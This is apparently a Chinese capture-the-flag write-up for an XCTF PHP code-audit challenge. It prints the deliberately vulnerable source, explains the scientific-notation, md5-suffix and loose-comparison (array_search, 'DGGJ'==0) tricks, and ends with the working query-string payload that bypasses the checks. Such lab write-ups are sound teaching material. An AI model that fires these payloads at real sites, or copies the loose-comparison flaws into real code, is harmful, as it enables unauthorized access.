关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题的考点是 PHP 代码审计与 PHP 语言特性(考题的 PHP 版本为 PHP/7.4.28
):
-
在低版本 PHP 中,科学计数法形式的数字会被作为字符串识别。
-
1e1
=10^1
=10
=>strlen(1e9) == 3
=> 按照你传入的字符个数确定长度 -
笔者备注:此特性在 PHP 8 中无法使用
-
strlen(1e9) == 10
=> 按照科学计数法数字转换后的长度确定总长度
-
-
-
PHP 隐式类型转换 & 弱类型比较(
==
):PHP 中将一个字符串和一个数值进行比较时,如果字符串以有效数值开始(即字符串的开头包含数字字符),PHP 会尝试将这个字符串转换为一个数值,然后再进行比较。-
"2023C" > 2022
=> Return True -
"hacker" == 0
=> Return True => 此特性在 PHP 8 中无法使用(结果为 False)
-
-
拓展:PHP
array_search()
函数底层使用==
进行弱类型匹配。
0x02:Write UP
本关是个代码审计关卡,关卡透露出来的 PHP 代码如下:
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
笔者还是习惯以结果为导向,进行逆向推理。我们先找到与 Flag 相关的代码,一眼就能定位:
if($key1 && $key2){
include "Hgfks.php"; // 包含这个文件
echo "You're right"."\n";
echo $flag; // 输出 $flag
}
那接下来,我们的目的就是让 $key1 && $key2
都为真了。通过分析代码,可以发现这两个 Key 分别属于不同的逻辑中,所以我们可以一个一个过。
0x0201:$key1 = 1
首先定位能使 $key1 = 1
的相关代码,然后一步一步分析:
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
// 我们需要满足两个 IF 条件判断才可以
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
第一个 IF 过关思路如下,绕过使用的是 PHP 语言特性:
// intval($a) 需要大于 6000000,且 $a 要为长度小于等于 3 的字符串
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
// 使用 PHP 科学计数法进行绕过
$a = 1e9
// 绕过解析
intval($a) = 1000000000 > 6000000
strlen($a) = 3 <= 3
第二个 IF 需要一点小小的编程,它想要一个特定的 $b
以满足他 md5()
的判断,这个特定的 $b
我们可以通过数字穷举的方式来 Get(md5()
是可爆破的):
// 需要满足: '8b184b' === substr(md5($b),-6,6)
if(isset($b) && '8b184b' === substr(md5($b),-6,6))
// 以下是我们在本地编制的解题程序 md5_burp.php
<?php
$b = 0;
while (true) {
if ('8b184b' === substr(md5($b), -6, 6)) {
echo $b; // 最终输出: 53724
break;
}
$b += 1;
}
那么至此,$key1
我们就全部绕过了,绕过的请求参数如下:
?a=1e9&b=53724
0x0202:$key2 = 2
然后定位能使 $key2 = 1
的相关代码,然后一步一步分析:
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
本次控制的传参是 $c
,我们需要给他传递一个 JSON 格式的数据。从第一层 IF 开始分析:
// 第一层 IF, $c 要为数组,且 $c["m"] 不是数字但要大于 2022
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
// 这里考察的是 PHP 的隐式类型转换 => "2023C" > 2022
// 此时可以构造 $c 内容如下(注意是 Json 格式)
$c = {"m" : "2023C"}
下面看进入第二层 IF 的条件:
// $c["n"] 要为数组,且其长度为 2,且 $c["n"][0] 也要为数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))
// 按照上述要求构造即可
$c = {"m" : "2023C", "n" : [[], ""]}
继续往下看,第二层 IF 中还有过滤逻辑:
// 从 $c["n"] 中搜索 DGGJ
$d = array_search("DGGJ", $c["n"]);
// 如果成功搜索到 DGGJ,就过关,否则终止流程
$d === false?die("no..."):NULL;
// 遍历 `$c["n"]` 查找 Value 为 DGGJ 的项,找到就 GG 了
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
在上面的过滤逻辑中,它写了两个矛盾的判断既要找到 DGGJ
又要找不到 DGGJ
。很明显,又是一个考点。
此处的考点是 array_search()
使用的是 ==
进行弱类型匹配的。绕过很简单,在低版本的 PHP 中 "DGGJ" == 0
,所以此处过关的 Payload 如下:
$c = {"m" : "2023C", "n" : [[], 0]}
// Payload 解析
$d = array_search("DGGJ", $c["n"]); => 会误认为 DGGJ 与 0 等价,所以 $d == True
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL; // 哥么传递的数组里确实没有 DGGJ,直接绕过
}
综合上述分析流程,得出我们最终过关的 Payload 如下:
?a=1e9&b=53724&c={"m":"2023C","n":[[],0]}